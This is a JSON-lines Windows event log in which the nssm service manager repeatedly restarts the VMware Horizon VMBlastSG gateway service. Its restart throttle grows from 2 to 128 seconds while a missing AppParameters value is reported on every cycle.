{"@timestamp":1646834272896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164144","164144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167014}}
{"@timestamp":1646834272913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167015}}
{"@timestamp":1646834272913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167016}}
{"@timestamp":1646834272914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167017}}
{"@timestamp":1646834272914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","2000"]}}},"module":"Application","provider":"nssm","sequence":167018}}
{"@timestamp":1646834275434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167019}}
{"@timestamp":1646834275434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167020}}
{"@timestamp":1646834275435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164668","0"]}}},"module":"Application","provider":"nssm","sequence":167021}}
{"@timestamp":1646834275435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164668","164668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167022}}
{"@timestamp":1646834275451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167023}}
{"@timestamp":1646834275452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167024}}
{"@timestamp":1646834275452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167025}}
{"@timestamp":1646834275453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","4000"]}}},"module":"Application","provider":"nssm","sequence":167026}}
{"@timestamp":1646834280008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167027}}
{"@timestamp":1646834280020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167028}}
{"@timestamp":1646834280022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159892","0"]}}},"module":"Application","provider":"nssm","sequence":167029}}
{"@timestamp":1646834280023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159892","159892","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167030}}
{"@timestamp":1646834280043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167031}}
{"@timestamp":1646834280044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167032}}
{"@timestamp":1646834280045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167033}}
{"@timestamp":1646834280046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","8000"]}}},"module":"Application","provider":"nssm","sequence":167034}}
{"@timestamp":1646834288526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167035}}
{"@timestamp":1646834288526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167036}}
{"@timestamp":1646834288527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164412","0"]}}},"module":"Application","provider":"nssm","sequence":167037}}
{"@timestamp":1646834288527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164412","164412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167038}}
{"@timestamp":1646834288546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167039}}
{"@timestamp":1646834288546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167040}}
{"@timestamp":1646834288547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167041}}
{"@timestamp":1646834288547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","16000"]}}},"module":"Application","provider":"nssm","sequence":167042}}
{"@timestamp":1646834305011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167043}}
{"@timestamp":1646834305012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167044}}
{"@timestamp":1646834305012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162896","0"]}}},"module":"Application","provider":"nssm","sequence":167045}}
{"@timestamp":1646834305014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162896","162896","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167046}}
{"@timestamp":1646834305032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167047}}
{"@timestamp":1646834305033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167048}}
{"@timestamp":1646834305033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167049}}
{"@timestamp":1646834305034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","32000"]}}},"module":"Application","provider":"nssm","sequence":167050}}
{"@timestamp":1646834337505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167051}}
{"@timestamp":1646834337507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167052}}
{"@timestamp":1646834337508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164748","0"]}}},"module":"Application","provider":"nssm","sequence":167053}}
{"@timestamp":1646834337508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164748","164748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167054}}
{"@timestamp":1646834337526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167055}}
{"@timestamp":1646834337526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167056}}
{"@timestamp":1646834337527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167057}}
{"@timestamp":1646834337528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","64000"]}}},"module":"Application","provider":"nssm","sequence":167058}}
{"@timestamp":1646834401997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167059}}
{"@timestamp":1646834401997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167060}}
{"@timestamp":1646834401999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164396","0"]}}},"module":"Application","provider":"nssm","sequence":167061}}
{"@timestamp":1646834402001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164396","164396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167062}}
{"@timestamp":1646834402018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167063}}
{"@timestamp":1646834402019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167064}}
{"@timestamp":1646834402019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167065}}
{"@timestamp":1646834402020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167066}}
{"@timestamp":1646834530558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167067}}
{"@timestamp":1646834530559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167068}}
{"@timestamp":1646834530560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163112","0"]}}},"module":"Application","provider":"nssm","sequence":167069}}
{"@timestamp":1646834530560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163112","163112","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167070}}
{"@timestamp":1646834530578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167071}}
{"@timestamp":1646834530579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167072}}
{"@timestamp":1646834530579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167073}}
{"@timestamp":1646834530580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167074}}
{"@timestamp":1646834659383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167075}}
{"@timestamp":1646834659383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167076}}
{"@timestamp":1646834659383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163864","0"]}}},"module":"Application","provider":"nssm","sequence":167077}}
{"@timestamp":1646834659384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163864","163864","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167078}}
{"@timestamp":1646834659400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160860","0"]}}},"module":"Application","provider":"nssm","sequence":167079}}
{"@timestamp":1646834659400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160860","163864","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167080}}
{"@timestamp":1646834659415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167081}}
{"@timestamp":1646834659415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167082}}
{"@timestamp":1646834659416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167083}}
{"@timestamp":1646834659416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167084}}
{"@timestamp":1646834787950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167085}}
{"@timestamp":1646834787952,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167086}}
{"@timestamp":1646834787953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163220","0"]}}},"module":"Application","provider":"nssm","sequence":167087}}
{"@timestamp":1646834787954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163220","163220","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167088}}
{"@timestamp":1646834787973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167089}}
{"@timestamp":1646834787974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167090}}
{"@timestamp":1646834787974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167091}}
{"@timestamp":1646834787975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167092}}
{"@timestamp":1646834916674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167093}}
{"@timestamp":1646834916676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167094}}
{"@timestamp":1646834916676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164016","0"]}}},"module":"Application","provider":"nssm","sequence":167095}}
{"@timestamp":1646834916677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164016","164016","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167096}}
{"@timestamp":1646834916695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164700","0"]}}},"module":"Application","provider":"nssm","sequence":167097}}
{"@timestamp":1646834916696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164700","164016","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167098}}
{"@timestamp":1646834916713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167099}}
{"@timestamp":1646834916713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167100}}
{"@timestamp":1646834916714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167101}}
{"@timestamp":1646834916714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167102}}
{"@timestamp":1646835045349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167103}}
{"@timestamp":1646835045350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167104}}
{"@timestamp":1646835045351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163740","0"]}}},"module":"Application","provider":"nssm","sequence":167105}}
{"@timestamp":1646835045351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163740","163740","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167106}}
{"@timestamp":1646835045367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167107}}
{"@timestamp":1646835045368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167108}}
{"@timestamp":1646835045368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167109}}
{"@timestamp":1646835045369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167110}}
{"@timestamp":1646835173850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167111}}
{"@timestamp":1646835173851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167112}}
{"@timestamp":1646835173851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162368","0"]}}},"module":"Application","provider":"nssm","sequence":167113}}
{"@timestamp":1646835173852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162368","162368","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167114}}
{"@timestamp":1646835173870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167115}}
{"@timestamp":1646835173871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167116}}
{"@timestamp":1646835173872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167117}}
{"@timestamp":1646835173873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167118}}
{"@timestamp":1646835302357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167119}}
